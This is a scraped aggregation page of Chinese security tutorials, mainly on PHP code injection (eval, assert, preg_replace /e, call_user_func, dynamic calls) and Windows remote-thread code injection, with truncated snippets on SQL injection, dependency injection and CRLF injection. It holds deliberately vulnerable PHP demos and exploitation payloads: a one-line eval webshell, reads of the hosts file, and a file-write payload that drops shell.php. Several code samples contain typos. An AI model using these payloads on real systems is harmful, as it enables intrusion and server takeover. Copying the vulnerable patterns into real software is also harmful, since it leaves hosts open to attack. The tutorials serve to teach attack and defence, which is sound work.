精华内容
下载资源
问答
  • SQL注入基本概念,原理,防注入php代码以及 相关的图片实例,具体可下载查看。
  • PHP代码注入

    2020-11-09 20:01:43
    代码注入 原理以及成因 PHP代码执行(注入)(web应用方面,应用脚本在服务器执行)是指应用程序过滤不严,用户可以通过请求将代码注入到应用中执行。 代码执行(注入)类似于SQL注入漏洞,SQLi是将SQL语句注入到...

    代码注入

    原理以及成因

    PHP代码执行(注入)(web应用方面,应用脚本在服务器执行)是指应用程序过滤不严,用户可以通过请求将代码注入到应用中执行。

    代码执行(注入)类似于SQL注入漏洞,SQLi是将SQL语句注入到数据库中执行,而代码执行则是可以把代码注入到应用中最终由服务器运行它。这样的漏洞如果没有特殊的过滤,相当于直接有一个web后门的存在。

    原因

    1、程序中含有可执行PHP代码的函数或者语言结构。
    2、传入第一点中的参数,客户端可控,直接修改或者影响。

    漏洞危害

    web

    应用如果存在代码执行漏洞是一件非常可怕的事情,可以通过代码执行漏洞继承Web用户权限,执行任意代码。如果具有服务器没有正确配置,web用户权限比较高的话,我们可以读写目标服务器任意文件内容,甚至控制整个网站以及服务器。
    以PHP为例子来说明,代码执行漏洞。PHP
    中有很多函数和语句都会造成PHP代码执行漏洞。

    相关函数和语句*
    1、eval()
    eval()会将字符串当作php 代码执行。测试代码如下
    在这里插入图片描述
    访问执行结果如下图:
    在这里插入图片描述

    <?php
    if(isset($_GET[ 'code' ])){
           $code=$_GET['code'];
           eval($code);
    }else{
           echo "Please submit code!<br />?code=phpinfo();";
    }
    ?>
    

    访问结果如下:
    在这里插入图片描述

    然后提交变量[?code=phpinfo();]
    传参
    我们提交一下参数也是可以的
    [?code=${phpinfo()};]
    [?code=1;phpinfo() ; ]
    访问结果如下:
    在这里插入图片描述
    2、assert()
    assert()同样会作为PHP代码执行测试代码如下

    <?php
    if(isset($_GET[' code')){
             $code=$_GET['code' ] ;assert($code);
    }else{
             echo "Please submit code!<br />?code=phpinfo()";
    }
    ?>
    

    提交参数[?code=phpinfo()]
    访问结果同上,大家自行测试

    3、preg_replace()
    preg_replace()函数的作用是对字符串进行正则处理。
    参数和返回值如下

    mixed preg_replace(mixed $pattern,mixed $replacement,
    mixed $subject[,int limit = -1[ , int &$count]])
    

    这段代码的含义是搜索$subjectsubject中匹配pattern
    的部分,以replacementreplacement进行替换,而当pattern处,即第一个参数存在e修饰符时,$replacement 的值会被当成PHP代码来执行。典型的代码如下

    <?php
    if(isset( $_GET[ 'code '])){
             $code=$__GET ['code ' ];
              preg_replace("/\[(.*)\]/e" , '1l1', $code) ;
              }
    else{
    echo" ?code= [phpinfo( )]";
    }
    ?>
    

    提交参数[?code=[phpinfo( )]],phpinfo()就会被执行

    *call_user_func( )

    call_user_func( )等函数都有调用其他函数的功能,其中的一个参数作为要调用的函数名,那如果这个传入的函数名可控,那就可以调用意外的函数来执行我们想要的代码,也就是存在任意代码执行漏洞。

    以call_user_func()为例子,该函数的第一个参数作为回调函数,后面的参数为回调函数的参数,测试代码如下

    <?php
    if( isset($_GET[ " fun' ] )){
              $fun=$_GET[ 'fun ' ];
              $para=$_GET ['para ' ];
              call_user_func($fun , $para) ;
                }
    else{
              echo" ?fun=assert&amp; para=phpinfo( )";
    }
    ?>
    

    提交参数[?fun=assert&para=phpinfo( ) ]

    *动态函数$a( $b)
    由于PHP的特性原因,PHP的函数支持直接由拼接的方式调用,这直接导致了PHP在安全上的控制有加大了难度。不少知名程序中也用到了动态函数的写法,这种写法跟使用call_user_func()的初衷一样,用来更加方便地调用函数,但是一旦过滤不严格就会造成代码执行漏洞。测试代码如下

    <?php
    if( isset($_GET['a' ])){
               $a=$_GET['a '];
               $b=$__GET ['b'];
               $a( $b );
    }else{
             echo "?a=assert&amp ; b=phpinfo( )";
    }
    ?>
    

    提交参数[?a=assert&b=phpinfo( )]

    漏洞利用

    代码执行漏洞的利用方式有很多种,以下简单列出几种。

    *直接获取Shell
    提交参数
    ?code=@eval($_POST[1]);,即可构成一句话木马,密码为[1]。可以使用菜刀或蚁剑连接。

    *获取当前文件的绝对路径
    FILE 是PHP预定义常量,其含义当前文件的路径。提交代码
    ?code=print(_FILE_);]

    *读文件
    我们可以利用file_get_contents()函数读取服务器任意文件,前提是知道目标文件路径和读取权限。提交代码?code=var_dump(file_get_contents('c:\windows\system32\drivers\etc\hosts'));读取服务器hosts文件。

    *写文件
    我们可以利用file_put_contents()函数,写入文件。前提是知道可写目录。
    提交代码code=var_dump(file_put_contents($_POST[1],$_POST[2]));此时需要借助于hackbar通过post 方式提交参数
    [1=shell.php&2=<?php phpinfo()?>]。
    即可在当前目录下创建一个文件shell.php。

    展开全文
  • PHP 代码注入漏洞

    2020-12-15 11:17:40
    文章目录PHP 代码注入原理及成因漏洞危害相关函数和语句eval()语言结构assert()函数preg_replace()函数call_user_func()函数动态函数`$a($b)`漏洞利用 PHP 代码注入 PHP 代码注入 属于代码注入漏洞中的一种。 原理及...

    PHP 代码注入

    PHP 代码注入 属于代码注入漏洞中的一种。

    原理及成因

    PHP 代码执行(注入)是指(Web 方面)应用程序过滤不严,用户可以通过请求将代码注入到应用中执行。代码执行(注入)类似于SQL注入漏洞,SQLi是将SQL语句注入到数据库中执行,而代码执行则是可以把代码注入到应用中最终由服务器运行它。这样的漏洞如果没有特殊的过滤,相当于直接有一个web后门的存在。

    1. 程序中含有可以执行php 代码的函数或者语言结构
    2. 传入第一点中的参数,客户端可控,直接修改或者影响

    漏洞危害

    Web 应用如果存在代码执行漏洞是一件非常可怕的事情,就像一个人没有穿衣服,赤裸裸的暴露在光天化日之下。可以通过代码执行漏洞继承Web 用户权限,执行任意代码。如果具有服务器没有正确配置,Web 用户权限比较高的话,我们可以读写目标服务器任意文件内容,甚至控制整个网站以及服务器。

    PHP 中有很多函数和语句都会造成PHP代码执行漏洞。

    相关函数和语句

    eval()语言结构

    将传进来的字符串当作php代码执行,里面的参数必须加分号才能执行!
    例如:一句话木马

    <?php
    if(isset($_REQUEST['code'])){
    	eval($_REQUEST['code']);
    }
    ?>

    在这里插入图片描述
    在这里插入图片描述

    assert()函数

    将传进来的字符串当作php代码执行,可以不用加分号就能执行!

    <?php
    if(@isset($_REQUEST['code'])){
     @assert($_REQUEST['code']);
    }
    ?>

    在这里插入图片描述

    preg_replace()函数

    对字符串进行正则处理
    参数和返回值如下:
    mixed preg_replace(mixed $pattern,mixed $replacement,mixed $subject [,int limit = -1[,int &$count)1)

    原理:在subject中搜索匹配pattern正则表达式的部分用replacment来替换,当pattern参数存在/e 修饰符时,会将replacment的值当作php 代码执行。

    <?php
    if(isset($_GET['code'])) {
    $code=$_GET['code'];
    preg_replace( "/\[(.*)\]/e",'\\1',$code);
    // 匹配[]里面的内容,\\1代表正则第一次匹配的内容
    }
    ?>

    在这里插入图片描述

    call_user_func()函数

    call_user_func( )等函数都有调用其他函数的功能,其中的第一个参数作为要调用的函数名(回调函数),第二个参数为回调函数的参数,那如果这个传入的函数名可控,那就可以调用意外的函数来执行我们想要的代码,也就是存在任意代码执行漏洞。
    以call_user_func()为例子,该函数的第一个参数作为回调函数,后面的参数为回调函数的参数,测试代码如下:

    <?php
    if(isset($_GET['fun'])) {
     $fun=$_GET['fun'];//assert
     $para=$_GET['para'];//phpinfo();
     call_user_func($fun,$para);//eval(phpinfo();)
    }
    ?>

    在这里插入图片描述

    动态函数$a($b)

    由于PHP的特性原因,PHP的函数支持直接由拼接的方式调用,这直接导致了PHP在安全上的控制有加大了难度。不少知名程序中也用到了动态函数的写法,这种写法跟使用call_user_func()的初衷一样,用来更加方便地调用函数,但是一旦过滤不严格就会造成代码执行漏洞。测试代码如下:

    <?php
    if(isset($_GET['a'])) {
     $a=$_GET['a'];
     $b=$_GET['b'];
     $a($b);
    }
    ?>

    在这里插入图片描述

    漏洞利用

    1. 直接获取shell
      一句话木马使用菜刀或者蚁剑连接即可。

    2. 获取当前文件的绝对路径
      __FILE__是PHP预定义常量,其含义当前文件的路径。提交代码?code=print(__FILE__);
      在这里插入图片描述

    3. 读文件
      我们可以利用file_get_contents()函数读取服务器任意文件,前提是知道目标文件路径具有读取权限。提交代码?code=var_dump(file_get_contents( 'c:\windows\system32\drivers\etc\hosts'));
      读取服务器hosts文件。
      在这里插入图片描述

    4. 写文件
      我们可以利用file_put_contents()函数,写入文件。前提是知道可写目录。
      提交代码?code=var_dump(file_put_contents($_POST[1],$_POST[2]));第一个参数是文件名,第二个参数是文件内容,此时需要借助于hackbar通过post 方式提交参数1=shell.php&2=<?php phpinfo()?>即可在当前目录下创建一个shell.php文件。
      在这里插入图片描述
      在这里插入图片描述

    防御方法

    1. 尽量不要使用eval等函数
    2. 如果使用的话一定要进行严格的过滤
    3. preg_replace放弃使用/e修饰符
    4. 禁用函数,修改配置文件php.ini里的 disable functions = 要禁用的函数
    展开全文
  • 主要介绍了SQL注入原理与解决方法代码示例,小编觉得还是挺不错的,这里分享给大家,供需要的朋友参考。
  • 代码注入

    千次阅读 2020-11-01 14:00:33
    其基本原理和DLL注入的原理一样, 目前已经有很多工具可以直接实现代码注入或DLL注入了, 本文只是学习一下原理… 思路 思路很简单, 基本就两大步: OpenProcess打开需要注入的程序, 获取句柄; 通过CreateRemoteThread...

    简介

    代码注入在分析程序或制作外挂外挂时是非常爱使用的一种手段, 通常用于调用程序功能, 比如调用程序中的call;其基本原理和DLL注入的原理一样, 目前已经有很多工具可以直接实现代码注入或DLL注入了, 本文只是学习一下原理…

    思路

    思路很简单, 基本就两大步:

    1. OpenProcess打开需要注入的程序, 获取句柄;
    2. 通过CreateRemoteThread函数将我们需要注入的代码以新的线程的方式进行运行, 到达注入的效果;

    通过PEB获取模块基址

    通常我们注入的代码一般都是汇编, 如果注入是很复杂的代码, 我们通常将代码写到DLL中, 直接用DLL注入了;
    所以为了使我们的汇编根据有健壮性, 这里说一下如何用汇编获取程序模块的基地址, 注入的代码就相当于是写shellcode;

    PEB

    fs:[0x30]地址处保存着一个指针, 指向了PEB结构, 结构基本如下:

    typedef struct _PEB { // Size: 0x1D8
    /*000*/ UCHAR InheritedAddressSpace;
    /*001*/ UCHAR ReadImageFileExecOptions;
    /*002*/ UCHAR BeingDebugged;
    /*003*/ UCHAR SpareBool; // Allocation size
    /*004*/ HANDLE Mutant;
    /*008*/ HINSTANCE ImageBaseAddress; // Instance
    /*00C*/ VOID *DllList;  //_PEB_LDR_DATA        ;进程加载的模块链表
    /*010*/ PPROCESS_PARAMETERS *ProcessParameters;
    /*014*/ ULONG SubSystemData;
    /*018*/ HANDLE DefaultHeap;
    /*01C*/ KSPIN_LOCK FastPebLock;
    /*020*/ ULONG FastPebLockRoutine;
    /*024*/ ULONG FastPebUnlockRoutine;
    /*028*/ ULONG EnvironmentUpdateCount;
    /*02C*/ ULONG KernelCallbackTable;
    /*030*/ LARGE_INTEGER SystemReserved;
    /*038*/ ULONG FreeList;
    /*03C*/ ULONG TlsExpansionCounter;
    /*040*/ ULONG TlsBitmap;
    /*044*/ LARGE_INTEGER TlsBitmapBits;
    /*04C*/ ULONG ReadOnlySharedMemoryBase;
    /*050*/ ULONG ReadOnlySharedMemoryHeap;
    /*054*/ ULONG ReadOnlyStaticServerData;
    /*058*/ ULONG AnsiCodePageData;
    /*05C*/ ULONG OemCodePageData;
    /*060*/ ULONG UnicodeCaseTableData;
    /*064*/ ULONG NumberOfProcessors;
    /*068*/ LARGE_INTEGER NtGlobalFlag;
    /*070*/ LARGE_INTEGER CriticalSectionTimeout;
    /*078*/ ULONG HeapSegmentReserve;
    /*07C*/ ULONG HeapSegmentCommit;
    /*080*/ ULONG HeapDeCommitTotalFreeThreshold;
    /*084*/ ULONG HeapDeCommitFreeBlockThreshold;
    /*088*/ ULONG NumberOfHeaps;
    /*08C*/ ULONG MaximumNumberOfHeaps;
    /*090*/ ULONG ProcessHeaps;
    /*094*/ ULONG GdiSharedHandleTable;
    /*098*/ ULONG ProcessStarterHelper;
    /*09C*/ ULONG GdiDCAttributeList;
    /*0A0*/ KSPIN_LOCK LoaderLock;
    /*0A4*/ ULONG OSMajorVersion;
    /*0A8*/ ULONG OSMinorVersion;
    /*0AC*/ USHORT OSBuildNumber;
    /*0AE*/ USHORT OSCSDVersion;
    /*0B0*/ ULONG OSPlatformId;
    /*0B4*/ ULONG ImageSubsystem;
    /*0B8*/ ULONG ImageSubsystemMajorVersion;
    /*0BC*/ ULONG ImageSubsystemMinorVersion;
    /*0C0*/ ULONG ImageProcessAffinityMask;
    /*0C4*/ ULONG GdiHandleBuffer[0x22];
    /*14C*/ ULONG PostProcessInitRoutine;
    /*150*/ ULONG TlsExpansionBitmap;
    /*154*/ UCHAR TlsExpansionBitmapBits[0x80];
    /*1D4*/ ULONG SessionId;
    } PEB, *PPEB;
    

    PEB结构的偏移0xc处保存着另外一个指针ldr,该指针为PEB_LDR_DATA:

    PEB_LDR_DATA

    typedef struct _PEB_LDR_DATA
    {
     ULONG Length; // +0x00
     BOOLEAN Initialized; // +0x04
     PVOID SsHandle; // +0x08
     LIST_ENTRY InLoadOrderModuleList; // +0x0c
     LIST_ENTRY InMemoryOrderModuleList; // +0x14
     LIST_ENTRY InInitializationOrderModuleList;// +0x1c
    } PEB_LDR_DATA,*PPEB_LDR_DATA; // +0x24
    

    PEB_LDR_DATA结构的后三个成员是指向LDR_MODULE链表结构中相应三条双向链表头的指针, 分别是按照加载顺序, 在内存中地址顺序和初始化顺序排列的模块信息结构的指针, 其中LDR_MODULE结构就是_LDR_DATA_TABLE_ENTRY结构; 而链表的第一个就保存了当前程序的基地址;

    _LDR_DATA_TABLE_ENTRY结构

    typedef struct _LDR_DATA_TABLE_ENTRY  
    {  
        LIST_ENTRY InLoadOrderLinks;  // +0x00
        LIST_ENTRY InMemoryOrderLinks;  // +0x08
        LIST_ENTRY InInitializationOrderLinks;  // +0x10
        PVOID DllBase;  // +0x18
        PVOID EntryPoint;  // +0x1c
        DWORD SizeOfImage;  // +0x20
        UNICODE_STRING FullDllName;  // +0x24
        UNICODE_STRING BaseDllName;  // +0x2c
        DWORD Flags;  
        WORD LoadCount;  
        WORD TlsIndex;  
        LIST_ENTRY HashLinks;  
        PVOID SectionPointer;  
        DWORD CheckSum;  
        DWORD TimeDateStamp;  
        PVOID LoadedImports;  
        PVOID EntryPointActivationContext;  
        PVOID PatchInformation;  
    }LDR_DATA_TABLE_ENTRY,*PLDR_DATA_TABLE_ENTRY;  
    

    综上所述, 我们可以利用一下这段汇编代码获取程序的基地址:

    		mov eax, fs:[0x30];		// PEB
    		mov ebx, [eax + 0xc];	// PEB_LDR_DATA
    		mov eax, [ebx + 0x14];	// InMemoryOrderModuleList
    		mov ebx, [eax + 0x10];	// ebx = InInitializationOrderLinks[0]
    

    或者

    		mov eax, fs:[0x30];		// PEB
    		mov ebx, [eax + 0x8];	// ImageBaseAddress
    

    如果在DLL当中获取程序基地址, 可以使用下面的代码:

    void Get_addr(DWORD pro_id){
    	HANDLE hpro = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, pro_id);
    		if (hpro == 0){
    			printf("无法获取进程句柄");
    		}
    		printf("进程句柄id: %d\n",hpro);
    	
    		// 获取每一个模块加载基址
    		DWORD pro_base = NULL;
    		HMODULE hModule[100] = {0};
    	    DWORD dwRet = 0;
    		int num = 0;
    	    int bRet = EnumProcessModulesEx(hpro, (HMODULE *)(hModule), sizeof(hModule),&dwRet,NULL);
    	    if (bRet == 0){
    	        printf("EnumProcessModules");
    	    }
    		// 总模块个数
    		num = dwRet/sizeof(HMODULE);
    		printf("总模块个数: %d\n",num);
    		// 打印每一个模块加载基址
    		char lpBaseName[100];
    		for(int i = 0;i<num;i++){
    			GetModuleBaseNameA(hpro,hModule[i],lpBaseName,sizeof(lpBaseName));
    			printf("%-2d %-25s基址: 0x%p\n",i,lpBaseName,hModule[i]);
    		}
    	
    	    pro_base = (DWORD)hModule[0];
    		printf("程序基址: 0x%p\n",pro_base);
    }
    

    或者:

    void Get_addr(){
    	HMODULE addr = GetModuleHandle(NULL);
    	printf("addr: 0x%p\n", addr);
    }
    

    代码注入

    首先这是我们要注入的程序代码:

    
    // Demo.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
    #include <stdio.h>
    #include <windows.h>
    
    void add(int a) {
    	printf("a: %d\n", a);
    }
    
    int main()
    {
    	add(8); 
    	printf("add_addr: 0x%p\n", add); // add函数地址
    	while (true)
    	{
    		printf("Demo....\n");
    		getchar();
    	}
    	return 0;
    }
    

    Demo
    此程序有一个add函数, 可以接收一个参数, 并且在程序中只调用一次, 我们可以通过代码注入的方式调用这个函数. 注入代码如下:

    // Win.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
    //
    
    #include<stdio.h>
    #include<Windows.h>
    #include<psapi.h>
    
    void injected_code() {
    	__asm {
    		// 获取基地址
    		mov eax, fs:[0x30];		// PEB
    		mov ebx, [eax + 0xc];	// PEB_LDR_DATA
    		mov eax, [ebx + 0x14];	// InMemoryOrderModuleList
    		mov ebx, [eax + 0x10];	// ebx = 基址
    
    		push	100;			// add函数参数
    		add		ebx, 0x0002964F;  // ebx = 基址 + 偏移  add函数地址
    		call	ebx;			// 调用add函数 
    		add		esp, 0x4;
    	}
    }
    
    void inject_fun(DWORD pid) {
    
    	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    	printf("hProcess: 0x%x\n", hProcess);
    	LPVOID call_addr = VirtualAllocEx(hProcess, NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    	printf("call_addr: 0x%x\n", call_addr);
    	int ret = WriteProcessMemory(hProcess, call_addr, injected_code, 0x1000, NULL);
    	printf("WriteProcessMemory: 0x%x\n", ret);
    	HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)call_addr, NULL, 0, NULL);
    	printf("hthread: %x\n", hThread);
    	WaitForSingleObject(hThread, 2000);
    	CloseHandle(hProcess);
    	CloseHandle(hThread);
    }
    
    int main()
    {
    	HWND Prohan = FindWindowA(NULL, "C:\\Users\\cc-sir\\Desktop\\Demo.exe");
    	if (Prohan) {
    		printf("Prohan: 0x%x\n", Prohan);
    		DWORD Pid;
    		GetWindowThreadProcessId(Prohan, &Pid);
    		printf("Pid: %d\n", Pid);
    		// LPCSTR title = "sir";
    		// SetWindowText(Prohan, title);
    		inject_fun(Pid);
    	}
    	else {
    		printf("FindWindow Error!\n");
    	}
    	system("pause");
    	return 0;
    }
    

    代码当中重新push 100作为add函数的参数进行注入:
    inject

    总结

    通过代码注入可以在不修改程序的情况下调用程序当中的代码段, 在实际过程中还是使用工具比较方便…

    展开全文
  • Web安全--代码注入

    2020-03-07 17:20:37
    1. 代码注入原理 PHP代码注入是指应用程序过滤不严,用户可以通过请求讲代码注入到应用中执行。代码注入类似于SQL注入漏洞,SQL漏洞时将SQL语句注入到数据库中执行,而代码执行则是可以把代码注入到应用中最终由...

    1. 代码注入原理
    PHP代码注入是指应用程序过滤不严,用户可以通过请求讲代码注入到应用中执行。代码注入类似于SQL注入漏洞,SQL漏洞时将SQL语句注入到数据库中执行,而代码执行则是可以把代码注入到应用中最终由服务器运行它。这样的漏洞如果没有特殊的过滤,相当于直接有一个web后门存在。

    (1)程序中含有可以执行PHP代码的函数或者语言结构
    (2)传入第一点的参数,客户端可控,直接修改或者影响

    2. 漏洞危害
    Web应用如果存在代码执行漏洞时一件非常可怕的事情,就像一个人没有穿衣服,赤裸裸的暴露在光天化日之下。可以通过代码执行漏洞继承Web用户权限,执行任意代码。如果具有服务器没有正确配置,web用户权限比较高的话,我们可以读写目标服务器任意文件内容,甚至控制整个网站以及服务器。本课程中以PHP为例子来说明,执行代码漏洞。

    3. 相关函数和语句
    (1)eval()
    eval()会将字符串当做php代码来执行。

    <?php
    if(isset($GET['code'])){
    	$code=$_GET['code'];
    	eval($code);
    }else{
    	echo "please submit code!<br />?code=phoinfo();";
    }
    ?>
    

    有可以在链接中直接输入内容:

    ?code=phpinfo();
    ?code=${phpinfo()};
    ?code=1;phpinfo();
    

    (2)assert()
    assert()同样会作为PHP代码执行,测试代码如下

    <?php
    if(isset($GET['code'])){
    	$code=$_GET['code'];
    	assert($code);
    }else{
    	echo "please submit code!<br />?code=phpinfo()";
    }
    ?>
    

    提交参数 ?code=phpinfo()
    (3)preg_replace()
    preg_replace()函数的作用是对字符串进行正则处理。参数和返回值如下:

    mixed preg_replace(mised $pattern,mixed $replacement,mised $subject[,int limit = -1[, int &$count]])
    

    这段代码的含义是搜索subjectsubject中匹配pattern的部分,以replacementreplacement进行 替换,而当replacement处,即第一个参数存在e修饰符时,¥replacement的值会被当成PHP代码来执行。例子如下:

    if(isset($_GET['code'])){
    	$code=$_GET['code'];
    	preg_replace("/\[(.*)\]/e",'\\1',$code);
    }else{
    	echo"?code=[phpinfo()]";
    }
    ?>
    

    提交参数 ?code=[phpinfo()],phpinfo()会被执行

    展开全文
  • 一、什么是sql注入?1、什么是sql注入呢?所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多...如果代码使用存储过程,而...
  • PHP 代码注入 原理以及成因 漏洞危害 介绍相关函数和语句 * eval() * assert() * preg_replace() * call_user_func() * 动态函数$a($b) 漏洞利用 * 直接获取Shell * 获取当前文件的绝对路径 * 读文件 *...
  • 代码注入是一种向目标进程插入独立运行代码并使之运行的技术,它一般调用CreateRemoteThread()API以远程线程形式运行插入的代码,所以也被称为线程注入。 和DLL注入相比代码注入占用内存少并难以查找痕迹。...
  • lsp注入原理及其实现代码

    热门讨论 2016-09-17 15:51:37
    lsp注入原理及其实现代码
  • 依赖注入(Dependency Injection,简称DI)是像C#,java等典型的面向对象语言框架设计原则控制反转...但介绍原理的较少,angular代码结构较复杂,文章实现了一简化版本的DI,核心代码只有30行左右,相看实现效果(可能...
  • Python代码审计方法多种多样,但是总而言之...SQL注入和ORM注入这两者注入相似度较高,所以打算放在一起分析和总结。它们所用原理OWASP TOP TEN 中的描述非常合适,“将不受信任的数据作为命令或查询的一部分发送到...
  • 我们先从最常见的例子开始吧Java代码publicstaticvoidmain(String[]args){ApplicationContextcontext=newFileSystemXmlApplicationContext("applicationContext.xml");Animalanimal=(Animal)context.getBean("animal...
  • iOS非越狱逆向--代码注入

    千次阅读 2018-05-16 15:16:48
    代码注入原理 众所周知,iOS app 在打包的过程中将代码全部转换成了 可执行文件 Mach - O 文件,所以说我们直接改源码是万万不可能的(除非你拿到的源码,话说你源码都拿到了你还逆向个��)。那么我们可不...
  • 代码注入类似于SQL注入漏洞,SQLi是将SQL语句注入到数据库中,而代码执行则是可以把代码注入到应用中最终由服务器运行它。这样的漏洞如果没有特殊的过滤,相当于直接由一个web后门的存在。 漏洞危害 代码执行漏洞...
  • SQL注入原理

    2019-03-17 21:22:14
    一、SQL注入原理 SQL注入就是把SQL命令插入到Web表单然后提交到所在页面请求(查询字符串),从而达到欺骗服务器执行恶意的SQL命令。 它是利用现在已有的应用程序,将SQL语句插入到数据库中执行,执行一些并非按照...
  • Android注入原理

    2018-10-23 17:24:20
    进程注入:将代码或者payload...注入的基本原理: 1.附加到目标进程; 2.获取控制权,保存上下文环境; 3.写入注入代码到目标进程空间,重新设置寄存器值和PC; 4.注入代码执行; 5.恢复上下文,进程继续执行...
  • Spring依赖注入原理分析下面谈谈Spring是如何实现反转模式IOC或依赖注入模式DI:平时,我们需要生成一个对象,使用new语法,如一个类为ApublicclassA{publicvoidmyMethod(){System.out.println("hello");}}如果我们...
  • 一、什么是sql注入呢?所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很...如果代码使用存储过程,而这些存储过程作为包含未...
  • 根据网上视频课程学习总计知识点,文档结构分为php代码注入和os代码...php代码注入原理 相关语句函数 利用 防御方面做出总结 os系统命令注入从 原理成因 相关函数 利用 防御方面做出总结 整理为文档 可以方便查阅
  • CRLF注入原理

    2020-12-02 20:45:57
    CRLF注入原理 CRLF 指的是回车符(CR,ASCII 13,\r,%0d) 和换行符(LF,ASCII 10,\n,%0a),操作系统就是根据这个标识来进行换行的,你在键盘输入回车键就是输出这个字符,只不过win和linux系统采用的标识不一样...
  • sql注入原理

    千次阅读 2018-02-23 16:05:14
    0x01sql注入原理 sql注入漏洞产生的原理是因为服务器对用户输入参数过滤不严格,将含有恶意代码的参数代入数据库查询语句中并执行。 0x02sql注入中常用的函数与语法 Group_concat():将select的查询结果全部...
  • 一,注入原理 当Web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。 1,...
  • bash代码注入的安全漏洞原理详解

    千次阅读 2014-09-28 09:48:19
    你看,一个代码注入就这样完成了。这就是bash的bug——  函数体外面的代码被默认地执行了 。 我们并不一定非要像上面那样创建另一个bash的子进程,我们可以使用bash -c的参数来执行一个bash子进程命令。就像这...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 3,070
精华内容 1,228
关键字:

代码注入原理